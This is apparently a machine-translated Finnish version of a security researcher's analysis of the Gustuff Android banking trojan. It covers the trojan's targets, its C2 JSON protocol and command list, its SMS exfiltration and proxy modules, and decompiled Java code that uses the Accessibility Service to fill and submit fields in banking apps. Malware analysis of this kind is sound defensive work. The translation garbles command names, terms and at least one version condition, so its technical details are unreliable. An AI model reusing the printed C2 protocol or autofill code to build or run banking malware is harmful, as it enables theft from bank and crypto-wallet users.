Kuinka Android-troijalainen Gustuff kerää kerman (fiatin ja krypton) tileiltäsi

Kuinka Android-troijalainen Gustuff kerää kerman (fiatin ja krypton) tileiltäsi

Juuri toissapäivänä Group-IB tiedotettu Android Trojan Gustuffin toiminnasta. Se toimii yksinomaan kansainvälisillä markkinoilla ja hyökkää 100 suurimman ulkomaisen pankin asiakkaita, mobiilin 32 kryptolompakoiden käyttäjiä sekä suuria verkkokaupparesursseja vastaan. Mutta Gustuffin kehittäjä on venäjänkielinen kyberrikollinen lempinimellä Bestoffer. Viime aikoihin asti hän kehui troijalaistaan ​​"vakavaksi tuotteeksi ihmisille, joilla on tietoa ja kokemusta".

Haitallisen koodin analysointiasiantuntija Group-IB:ssä Ivan Pisarev tutkimuksessaan hän puhuu yksityiskohtaisesti Gustuffin toiminnasta ja sen vaaroista.

Ketä Gustuff metsästää?

Gustuff kuuluu uuden sukupolven haittaohjelmiin, joissa on täysin automatisoidut toiminnot. Kehittäjän mukaan troijalaisesta on tullut uusi ja parannettu versio AndyBot-haittaohjelmasta, joka on marraskuusta 2017 lähtien hyökännyt Android-puhelimiin ja varastanut rahaa phishing-verkkolomakkeilla, jotka naamioituvat tunnettujen kansainvälisten pankkien ja maksujärjestelmien mobiilisovelluksiksi. Bestoffer ilmoitti, että Gustuff Botin vuokrahinta oli 800 dollaria kuukaudessa.

Gustuff-näytteen analyysi osoitti, että troijalainen kohdistaa potentiaalisesti asiakkaisiin, jotka käyttävät suurimpien pankkien mobiilisovelluksia, kuten Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, sekä kryptolompakoita. Bitcoin Wallet, BitPay, Cryptopay, Coinbase jne.

Alun perin klassiseksi pankkitroijalaiseksi luotu Gustuff on laajentanut merkittävästi potentiaalisten hyökkäyskohteiden luetteloa nykyisessä versiossa. Pankkien, fintech-yritysten ja kryptopalveluiden Android-sovellusten lisäksi Gustuff on suunnattu markkinapaikkasovellusten, verkkokauppojen, maksujärjestelmien ja pikaviestien käyttäjille. Erityisesti PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut ja muut.

Aloituspiste: massatartunnan laskeminen

Gustuffille on ominaista "klassinen" vektori tunkeutumisesta Android-älypuhelimiin SMS-postitusten kautta, joissa on linkkejä APK:ihin. Kun Android-laite saa troijalaisen tartunnan palvelimen käskystä, Gustuff voi levitä edelleen tartunnan saaneen puhelimen yhteystietokannan tai palvelintietokannan kautta. Gustuffin toiminnallisuus on suunniteltu massatartuntaan ja operaattoreidensa liiketoiminnan maksimaaliseen hyödyntämiseen - sillä on ainutlaatuinen "automaattinen täyttö" -toiminto laillisiin mobiilipankkisovelluksiin ja kryptolompakoihin, jonka avulla voit nopeuttaa ja skaalata rahavarkauksia.

Troijalaista tehty tutkimus osoitti, että automaattinen täyttötoiminto toteutettiin siinä vammaisille tarkoitetun Accessibility Service -palvelun avulla. Gustuff ei ole ensimmäinen troijalainen, joka onnistui ohittamaan suojauksen vuorovaikutusta vastaan ​​muiden tätä Android-palvelua käyttävien sovellusten ikkunaelementtien kanssa. Esteettömyyspalvelun käyttö yhdessä auton täytön kanssa on kuitenkin vielä melko harvinaista.

Uhrin puhelimeen lataamisen jälkeen Gustuff pystyy esteettömyyspalvelua käyttämällä olemaan vuorovaikutuksessa muiden sovellusten ikkunaelementtien kanssa (pankki, kryptovaluutta, sekä verkkokauppasovellukset, viestit jne.) suorittaen hyökkääjille tarpeelliset toiminnot. . Esimerkiksi palvelimen käskystä troijalainen voi painaa painikkeita ja muuttaa pankkisovellusten tekstikenttien arvoja. Accessibility Service -mekanismin avulla troijalainen voi ohittaa pankkien käyttämät suojausmekanismit aiemman sukupolven mobiilitroijalaisten estämiseksi sekä Googlen uusissa Android-käyttöjärjestelmän versioissa toteuttamat turvallisuuskäytännön muutokset. Siten Gustuff "tietää kuinka" poistaa Google Protect -suojauksen käytöstä: kirjoittajan mukaan tämä toiminto toimii 70 prosentissa tapauksista.

Kuinka Android-troijalainen Gustuff kerää kerman (fiatin ja krypton) tileiltäsi

Gustuff voi myös näyttää väärennettyjä PUSH-ilmoituksia laillisten mobiilisovellusten kuvakkeilla. Käyttäjä napsauttaa PUSH-ilmoitusta ja näkee palvelimelta ladatun phishing-ikkunan, johon hän syöttää pyydetyt pankkikortti- tai kryptolompakkotiedot. Toisessa Gustuff-skenaariossa sovellus, jonka puolesta PUSH-ilmoitus näytettiin, avataan. Tässä tapauksessa haittaohjelma voi palvelimelta esteettömyyspalvelun kautta tulevan komennon perusteella täyttää pankkihakemuksen lomakekentät vilpillisen tapahtuman varalta.

Gustuffin toimintoihin kuuluu myös tietojen lähettäminen tartunnan saaneesta laitteesta palvelimelle, mahdollisuus lukea/lähettää tekstiviestejä, lähettää USSD-pyyntöjä, käynnistää SOCKS5 Proxy, seurata linkkiä, lähettää tiedostoja (mukaan lukien valokuvaskannat asiakirjoista, kuvakaappauksia, valokuvia) palvelin, palauta laitteen tehdasasetukset.

Haittaohjelmien analyysi

Ennen haitallisen sovelluksen asentamista Android-käyttöjärjestelmä näyttää käyttäjälle ikkunan, joka sisältää luettelon Gustuffin pyytämistä oikeuksista:

Kuinka Android-troijalainen Gustuff kerää kerman (fiatin ja krypton) tileiltäsi
Sovellus asennetaan vasta saatuaan käyttäjän suostumuksen. Sovelluksen käynnistämisen jälkeen troijalainen näyttää käyttäjälle ikkunan:

Kuinka Android-troijalainen Gustuff kerää kerman (fiatin ja krypton) tileiltäsi
Tämän jälkeen se poistaa kuvakkeensa.

Gustuff pakkaa tekijän mukaan FTT:n pakkaaja. Käynnistämisen jälkeen sovellus ottaa säännöllisesti yhteyttä CnC-palvelimeen vastaanottaakseen komentoja. Useat tarkastamamme tiedostot käyttivät IP-osoitetta ohjauspalvelimena 88.99.171[.]105 (Tästä lähtien me merkitsemme sitä nimellä <%CnC%>).

Käynnistämisen jälkeen ohjelma alkaa lähettää viestejä palvelimelle http://<%CnC%>/api/v1/get.php.

Vastauksen odotetaan olevan JSON seuraavassa muodossa:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Aina kun sovellusta käytetään, se lähettää tietoja tartunnan saaneesta laitteesta. Viestin muoto näkyy alla. On syytä huomata, että kentät koko, lisää, sovellukset и lupa – valinnainen ja lähetetään vain CnC:n pyynnöstä.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Konfigurointitietojen tallentaminen

Gustuff tallentaa toiminnallisesti tärkeät tiedot asetustiedostoon. Tiedoston nimi sekä siinä olevien parametrien nimet ovat tulosta laskettaessa MD5-summa merkkijonosta 15413090667214.6.1<%name%>Missä <%name%> - alkuperäinen nimi-arvo. Python-tulkinta nimenluontifunktiosta:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Seuraavassa merkitsemme sitä nimellä nimigeneraattori (syöttö).
Joten ensimmäinen tiedoston nimi on: nameGenerator("API_SERVER_LIST"), se sisältää arvoja seuraavilla nimillä:

Muuttujan nimi Arvo
nameGenerator("API_SERVER_LIST") Sisältää luettelon CnC-osoitteista taulukon muodossa.
nameGenerator("API_SERVER_URL") Sisältää CnC-osoitteen.
nameGenerator("SMS_UPLOAD") Lippu on asetettu oletuksena. Jos lippu on asetettu, lähettää tekstiviestejä CnC:lle.
nameGenerator("SMS_ROOT_NUMBER") Puhelinnumero, johon tartunnan saaneen laitteen vastaanottamat tekstiviestit lähetetään. Oletusarvo on tyhjä.
nameGenerator("SMS_ROOT_NUMBER_RESEND") Lippu tyhjennetään oletusarvoisesti. Jos se on asennettu, tartunnan saaneen laitteen vastaanottaessa tekstiviestin se lähetetään juurinumeroon.
nameGenerator("DEFAULT_APP_SMS") Lippu tyhjennetään oletusarvoisesti. Jos tämä lippu on asetettu, sovellus käsittelee saapuvat tekstiviestit.
nameGenerator("DEFAULT_ADMIN") Lippu tyhjennetään oletuksena. Jos lippu on asetettu, sovelluksella on järjestelmänvalvojan oikeudet.
nameGenerator("DEFAULT_ACCESSIBILITY") Lippu tyhjennetään oletusarvoisesti. Jos lippu on asetettu, saavutettavuuspalvelua käyttävä palvelu on käynnissä.
nameGenerator("APPS_CONFIG") JSON-objekti, joka sisältää luettelon toiminnoista, jotka on suoritettava, kun tiettyyn sovellukseen liittyvä saavutettavuustapahtuma käynnistetään.
nameGenerator("APPS_INSTALLED") Tallentaa luettelon laitteeseen asennetuista sovelluksista.
nameGenerator("IS_FIST_RUN") Lippu nollataan ensimmäisessä startissa.
nameGenerator("UNIQUE_ID") Sisältää yksilöllisen tunnisteen. Luodaan, kun botti käynnistetään ensimmäisen kerran.

Moduuli palvelimelta tulevien komentojen käsittelyyn

Sovellus tallentaa CnC-palvelimien osoitteet taulukon muodossa, jonka koodaa BASE85 rivit. CnC-palvelimien luetteloa voidaan muuttaa vastaanotettaessa sopiva komento, jolloin osoitteet tallennetaan asetustiedostoon.

Vastauksena pyyntöön palvelin lähettää komennon sovellukselle. On syytä huomata, että komennot ja parametrit esitetään JSON-muodossa. Sovellus voi käsitellä seuraavat komennot:

Joukkue Kuvaus
eteenpäinAloitus Aloita tartunnan saaneen laitteen vastaanottamien tekstiviestien lähettäminen CnC-palvelimelle.
eteenpäinStop Lopeta tartunnan saaneen laitteen vastaanottamien tekstiviestien lähettäminen CnC-palvelimelle.
ussdRun Suorita USSD-pyyntö. Numero, johon sinun on tehtävä USSD-pyyntö, sijaitsee JSON-kentässä "numero".
Lähetä tekstiviesti Lähetä yksi tekstiviesti (tarvittaessa viesti "jaetaan" osiin). Parametrina komento ottaa JSON-objektin, joka sisältää kentät "to" - kohdenumero ja "body" - viestin runko.
sendSmsAb Lähetä tekstiviestejä (jos tarpeen, viesti "jaetaan" osiin) kaikille tartunnan saaneen laitteen yhteystietoluettelossa. Viestien lähetysväli on 10 sekuntia. Viestin runko on JSON-kentässä "body"
lähetäSmsMass Lähetä tekstiviestejä (tarvittaessa viesti "jaetaan" osiin) komentoparametreissa määritellyille yhteyshenkilöille. Viestien lähetysväli on 10 sekuntia. Parametrina komento ottaa JSON-taulukon ("sms"-kenttä), jonka elementit sisältävät kentät "to" - kohdenumero ja "body" - viestin runko.
muutospalvelin Tämä komento voi ottaa arvon avain "url" parametrina - silloin botti muuttaa nameGenerator("SERVER_URL") tai "array" arvon - sitten botti kirjoittaa taulukon nameGeneratoriin ("API_SERVER_LIST") Siten sovellus muuttaa CnC-palvelimien osoitteita.
adminNumber Komento on suunniteltu toimimaan juurinumeron kanssa. Komento hyväksyy JSON-objektin seuraavilla parametreilla: "number" - muuta nameGenerator("ROOT_NUMBER") vastaanotetuksi arvoksi, "lähetä uudelleen" - muuta nameGenerator("SMS_ROOT_NUMBER_RESEND"), "sendId" - lähetä nameGenerator("ROOT_NUMBER") ) uniikki tunniste.
Päivitystiedot Lähetä tiedot tartunnan saaneesta laitteesta palvelimelle.
wipeData Komento on tarkoitettu käyttäjän tietojen poistamiseen. Riippuen siitä, millä nimellä sovellus käynnistettiin, joko tiedot poistetaan kokonaan laitteen uudelleenkäynnistyksen yhteydessä (ensisijainen käyttäjä) tai vain käyttäjätiedot poistetaan (toissijainen käyttäjä).
sukatAloita Käynnistä Proxy-moduuli. Moduulin toiminta on kuvattu erillisessä osiossa.
sukatStop Pysäytä välityspalvelinmoduuli.
avaa linkki Seuraa linkkiä. Linkki sijaitsee JSON-parametrissa "url"-avaimen alla. "android.intent.action.VIEW" käytetään linkin avaamiseen.
uploadAllSms Lähetä kaikki laitteen vastaanottamat tekstiviestit palvelimelle.
lataa kaikki valokuvat Lähetä kuvia tartunnan saaneesta laitteesta URL-osoitteeseen. URL-osoite tulee parametrina.
lataa tiedosto Lähetä tiedosto tartunnan saaneesta laitteesta URL-osoitteeseen. URL-osoite tulee parametrina.
lataaPhoneNumbers Lähetä puhelinnumerot yhteystietoluettelostasi palvelimelle. Jos JSON-objektiarvo avaimella "ab" vastaanotetaan parametrina, sovellus vastaanottaa yhteystietoluettelon puhelinluettelosta. Jos parametrina vastaanotetaan JSON-objekti, jonka avain on "sms", sovellus lukee yhteystietoluettelon tekstiviestien lähettäjiltä.
muutaArkisto Sovellus lataa tiedoston osoitteesta, joka tulee parametrina käyttämällä “url”-näppäintä. Ladattu tiedosto tallennetaan nimellä "archive.zip". Sovellus purkaa tiedoston, valinnaisesti käyttämällä arkiston salasanaa "b5jXh37gxgHBrZhQ4j3D". Puretut tiedostot tallennetaan [ulkoinen tallennustila]/hgps-hakemistoon. Tässä hakemistossa sovellus tallentaa verkkoväärennöksiä (kuvattu alla).
toimet Komento on suunniteltu toimimaan Action Servicen kanssa, joka on kuvattu erillisessä osiossa.
testi Tekemättä mitään.
download Komento on tarkoitettu lataamaan tiedosto etäpalvelimelta ja tallentamaan se "Lataukset"-hakemistoon. URL-osoite ja tiedoston nimi tulevat parametreina, kentät JSON-parametriobjektissa: "url" ja "fileName".
poistaa Poistaa tiedoston "Lataukset"-hakemistosta. Tiedostonimi tulee JSON-parametriin "fileName"-avaimella. Tiedoston vakionimi on "tmp.apk".
ilmoituksen Näytä ilmoitus, jossa on hallintapalvelimen määrittämät kuvaus- ja otsikkotekstit.

Komentomuoto ilmoituksen:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Tutkittavana olevan tiedoston luoma ilmoitus näyttää samalta kuin kentässä määritellyn sovelluksen luomat ilmoitukset sovelluksen. Jos kentän arvo openApp — Totta, kun ilmoitus avataan, kentässä määritetty sovellus käynnistetään sovelluksen. Jos kentän arvo openApp – Väärin siis:

  • Tietojenkalasteluikkuna avautuu, jonka sisältö ladataan hakemistosta <%ulkoinen tallennustila%>/hgps/<%tiedostonimi%>
  • Tietojenkalasteluikkuna avautuu, jonka sisältö ladataan palvelimelta <%url%>?id=<%Botin tunnus%>&app=<%Sovelluksen nimi%>
  • Tietojenkalasteluikkuna avautuu Google Play -kortiksi naamioituneena, jossa on mahdollisuus syöttää kortin tiedot.

Sovellus lähettää minkä tahansa komennon tuloksen osoitteeseen <%CnC%>set_state.php JSON-objektina seuraavassa muodossa:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ActionsService
Luettelo komennoista, jotka sovellusprosessit sisältävät toiminta. Kun komento vastaanotetaan, komennonkäsittelymoduuli käyttää tätä palvelua suorittaakseen laajennetun komennon. Palvelu hyväksyy JSON-objektin parametriksi. Palvelu voi suorittaa seuraavat komennot:

1. PARAMS_ACTION — vastaanottaessaan tällaisen komennon palvelu saa ensin JSON-parametrista Type-avaimen arvon, joka voi olla seuraava:

  • palvelutiedot – Alikomento saa arvon avaimella JSON-parametrista SisällytäNotImportant. Jos lippu on True, sovellus asettaa lipun FLAG_ISOLATED_PROCESS esteettömyyspalvelua käyttävään palveluun. Näin palvelu käynnistetään erillisessä prosessissa.
  • juuri — vastaanottaa ja lähettää palvelimelle tietoja tarkasteltuna olevasta ikkunasta. Sovellus hankkii tiedot AccessibilityNodeInfo-luokan avulla.
  • admin — pyytää järjestelmänvalvojan oikeuksia.
  • viivyttää — keskeyttää ActionsServicen "data"-avaimen parametrissa määritetyksi määräksi millisekunteiksi.
  • ikkunat — lähettää luettelo käyttäjälle näkyvistä ikkunoista.
  • asentaa — asenna sovellus tartunnan saaneeseen laitteeseen. Arkistopaketin nimi on "fileName"-avaimessa. Itse arkisto sijaitsee Lataukset-hakemistossa.
  • maailmanlaajuinen – alikomennon tarkoituksena on navigoida nykyisestä ikkunasta:
    • Pika-asetukset-valikossa
    • sitten
    • Koti
    • ilmoituksiin
    • äskettäin avattu sovellusikkuna

  • käynnistää - käynnistä sovellus. Sovelluksen nimi tulee parametrina avaimelta tiedot.
  • äänet — vaihda äänitila hiljaiseksi.
  • avata — kytkee näytön ja näppäimistön taustavalon täyteen kirkkauteen. Sovellus suorittaa tämän toiminnon käyttämällä WakeLockia ja määrittämällä merkkijonon [Application label]:INFO.
  • lupapeitto — toimintoa ei ole toteutettu (vastaus komennon suorittamiseen on {"message":"Not support"} tai {"message":"low sdk"})
  • ele — toimintoa ei ole toteutettu (vastaus komennon suorittamiseen on {"message":"Not support"}tai {"message":"Low API"})
  • Oikeudet — tämä komento on tarpeen sovelluksen käyttöoikeuksien pyytämiseksi. Kyselytoimintoa ei kuitenkaan ole toteutettu, joten komento on merkityksetön. Pyydettyjen oikeuksien luettelo tulee JSON-taulukkona, jossa on "oikeudet"-avain. Vakioluettelo:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • avata — näytä tietojenkalasteluikkuna. Palvelimelta tulevasta parametrista riippuen sovellus saattaa näyttää seuraavat tietojenkalasteluikkunat:
    • Näytä tietojenkalasteluikkuna, jonka sisältö on kirjoitettu hakemistossa olevaan tiedostoon <%ulkoinen hakemisto%>/hgps/<%param_filename%>. Tulos käyttäjän vuorovaikutuksesta ikkunan kanssa lähetetään osoitteeseen <%CnC%>/records.php
    • Näytä tietojenkalasteluikkuna, jonka sisältö on esiladattu osoitteesta <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Tulos käyttäjän vuorovaikutuksesta ikkunan kanssa lähetetään osoitteeseen <%CnC%>/records.php
    • Näytä Google Play -kortiksi naamioitu tietojenkalasteluikkuna.

  • vuorovaikutteinen — komento on suunniteltu toimimaan vuorovaikutuksessa muiden AcessibilityServiceä käyttävien sovellusten ikkunaelementtien kanssa. Vuorovaikutusta varten ohjelmaan on otettu käyttöön erityinen palvelu. Tutkittava sovellus voi olla vuorovaikutuksessa ikkunoiden kanssa:
    • Tällä hetkellä aktiivinen. Tässä tapauksessa parametri sisältää sen objektin tunnuksen tai tekstin (nimen), jonka kanssa sinun on oltava vuorovaikutuksessa.
    • Näkyy käyttäjälle, kun komento suoritetaan. Sovellus valitsee ikkunat id:n mukaan.

    Saatuaan esineitä AccessibilityNodeInfo Kiinnostavien ikkunaelementtien osalta sovellus voi parametreista riippuen suorittaa seuraavat toiminnot:

    • tarkennus — aseta tarkennus kohteeseen.
    • napsauta - napsauta objektia.
    • actionId — suorittaa toiminnon tunnuksella.
    • setText — muuta objektin tekstiä. Tekstin muuttaminen on mahdollista kahdella tavalla: suorita toiminto ACTION_SET_TEXT (jos tartunnan saaneen laitteen Android-versio on nuorempi tai yhtä suuri kuin LOLLIPOP), tai asettamalla merkkijono leikepöydälle ja liittämällä se objektiin (vanhemmat versiot). Tällä komennolla voidaan muuttaa tietoja pankkisovelluksessa.

2. PARAMS_ACTIONS - sama kuin PARAMS_ACTION, vain JSON-komentosarja saapuu.

Näyttää siltä, ​​​​että monet ihmiset ovat kiinnostuneita siitä, miltä toisen sovelluksen ikkunaelementtien vuorovaikutustoiminto näyttää. Näin tämä toiminto on toteutettu Gustuffissa:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Tekstin korvaustoiminto:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Siten ohjauspalvelimen oikealla konfiguraatiolla Gustuff pystyy täyttämään tekstikentät pankkisovelluksessa ja napsauttamaan tapahtuman suorittamiseen tarvittavia painikkeita. Troijalaisen ei tarvitse edes kirjautua sisään sovellukseen – riittää, kun lähettää komennon PUSH-ilmoituksen näyttämiseksi ja avaa sitten aiemmin asennettu pankkisovellus. Käyttäjä todentaa itsensä, minkä jälkeen Gustuff voi täyttää auton.

SMS-viestien käsittelymoduuli

Sovellus asentaa tapahtumakäsittelijän tartunnan saaneelle laitteelle tekstiviestien vastaanottamista varten. Tutkittava sovellus voi vastaanottaa komentoja operaattorilta, jotka tulevat tekstiviestin runkoon. Komennot tulevat muodossa:

7!5=<%Base64-koodattu komento%>

Sovellus etsii merkkijonoa kaikista saapuvista tekstiviesteistä 7!5=, kun merkkijono havaitaan, se purkaa Base64-merkkijonon offsetissa 4 ja suorittaa komennon. Komennot ovat samanlaisia ​​kuin CnC:n komennot. Suorituksen tulos lähetetään samaan numeroon, josta komento tuli. Vastauksen muoto:

7*5=<%Base64-koodaus "result_code command"%>

Valinnaisesti sovellus voi lähettää kaikki vastaanotetut viestit juurinumeroon. Tätä varten päänumero on määritettävä asetustiedostossa ja viestin uudelleenohjauslippu on asetettava. Hyökkääjän numeroon lähetetään tekstiviesti muodossa:

<%Lukusta%> - <%Aika, muoto: dd/MM/yyyy HH:mm:ss%> <%SMS body%>

Lisäksi sovellus voi valinnaisesti lähettää viestejä CnC:lle. Tekstiviesti lähetetään palvelimelle JSON-muodossa:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Jos lippu on asetettu nameGenerator("DEFAULT_APP_SMS") – sovellus lopettaa tekstiviestin käsittelyn ja tyhjentää saapuvien viestien luettelon.

Välityspalvelinmoduuli

Tutkittava sovellus sisältää Backconnect Proxy -moduulin (jäljempänä Proxy-moduuli), jolla on erillinen luokka, joka sisältää staattisia kenttiä konfiguraatioineen. Asetustiedot on tallennettu malliin selkeässä muodossa:

Kuinka Android-troijalainen Gustuff kerää kerman (fiatin ja krypton) tileiltäsi

Kaikki Proxy-moduulin suorittamat toiminnot kirjataan tiedostoihin. Tätä varten sovellus ulkoisessa tallennustilassa luo "lokit"-nimisen hakemiston (määritysluokan ProxyConfigClass.logsDir-kenttä), johon lokitiedostot tallennetaan. Kirjautuminen tapahtuu tiedostoissa, joiden nimi on:

  1. main.txt – CommandServer-nimisen luokan työ on kirjautunut tähän tiedostoon. Seuraavassa merkkijonon str kirjaaminen tähän tiedostoon merkitään mainLog(str).
  2. istunto-<%id%>.txt — tämä tiedosto tallentaa tiettyyn välityspalvelinistuntoon liittyvät lokitiedot. Seuraavassa merkkijonon str kirjaamista tähän tiedostoon merkitään sessionLog (str).
  3. server.txt – tätä tiedostoa käytetään kirjaamaan kaikki yllä kuvattuihin tiedostoihin kirjoitetut tiedot.

Lokitietojen muoto:

<%Päivämäärä%> [Säie[<%ketjun tunnus%>], tunnus[]]: lokimerkkijono

Välityspalvelinmoduulin toiminnan aikana tapahtuvat poikkeukset kirjataan myös tiedostoon. Tätä varten sovellus luo JSON-objektin seuraavassa muodossa:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Sitten se muuntaa sen merkkijonoesitykseen ja kirjaa sen lokiin.

Proxy-moduuli käynnistetään, kun vastaava komento on vastaanotettu. Kun välityspalvelinmoduulin käynnistämiskomento vastaanotetaan, sovellus käynnistää kutsutun palvelun Pääpalvelu, joka vastaa Proxy-moduulin toiminnan hallinnasta - sen käynnistämisestä ja pysäyttämisestä.

Palvelun aloittamisen vaiheet:

1. Käynnistää ajastimen, joka käy kerran minuutissa ja tarkistaa Proxy-moduulin toiminnan. Jos moduuli ei ole aktiivinen, se käynnistää sen.
Myös silloin, kun tapahtuma käynnistyy android.net.conn.CONNECTIVITY_CHANGE Proxy-moduuli käynnistetään.

2. Sovellus luo wake-lockin parametrilla PARTIAL_WAKE_LOCK ja vangitsee hänet. Tämä estää laitteen CPU:ta siirtymästä lepotilaan.

3. Käynnistää välityspalvelinmoduulin komentojen käsittelyluokan kirjaamalla rivin ensin lokiin mainLog("käynnistyspalvelin") и

Palvelin::start() isäntä[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

missä proxy_cnc, command_port ja proxy_port – Välityspalvelimen kokoonpanosta saadut parametrit.

Komentokäsittelyluokkaa kutsutaan CommandConnection. Suorittaa seuraavat toimet välittömästi käynnistyksen jälkeen:

4. Yhdistetään ProxyConfigClass.host: ProxyConfigClass.commandPort ja lähettää sinne tietoja tartunnan saaneesta laitteesta JSON-muodossa:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Missä:

  • id – tunniste, yrittää saada arvon "id"-kentällä Shared Preference -tiedostosta nimeltä "x". Jos tätä arvoa ei saada, se luo uuden. Siten Proxy-moduulilla on oma tunniste, joka luodaan samalla tavalla kuin Bot ID.
  • imei — laitteen IMEI. Jos arvon saamisen aikana tapahtui virhe, tämän kentän sijaan kirjoitetaan virhetekstiviesti.
  • imsi — Laitteen kansainvälisen matkapuhelinliittymän tunnus. Jos arvon saamisen aikana tapahtui virhe, tämän kentän sijaan kirjoitetaan virhetekstiviesti.
  • malli — Lopputuotteen loppukäyttäjälle näkyvä nimi.
  • valmistaja — Tuotteen/laitteiston valmistaja (Build.MANUFACTURER).
  • androidVersion - merkkijono muodossa "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • maa — laitteen nykyinen sijainti.
  • partnerId on tyhjä merkkijono.
  • packageName – paketin nimi.
  • networkType — nykyisen verkkoyhteyden tyyppi (esimerkki: "WIFI", "MOBILE"). Virheen sattuessa palauttaa nollan.
  • hasGsmSupport – true – jos puhelin tukee GSM:ää, muuten false.
  • simReady – SIM-kortin tila.
  • simCountry - ISO-maakoodi (SIM-kortin toimittajan mukaan).
  • networkOperator — operaattorin nimi. Jos arvon saamisen aikana tapahtui virhe, tämän kentän sijaan kirjoitetaan virhetekstiviesti.
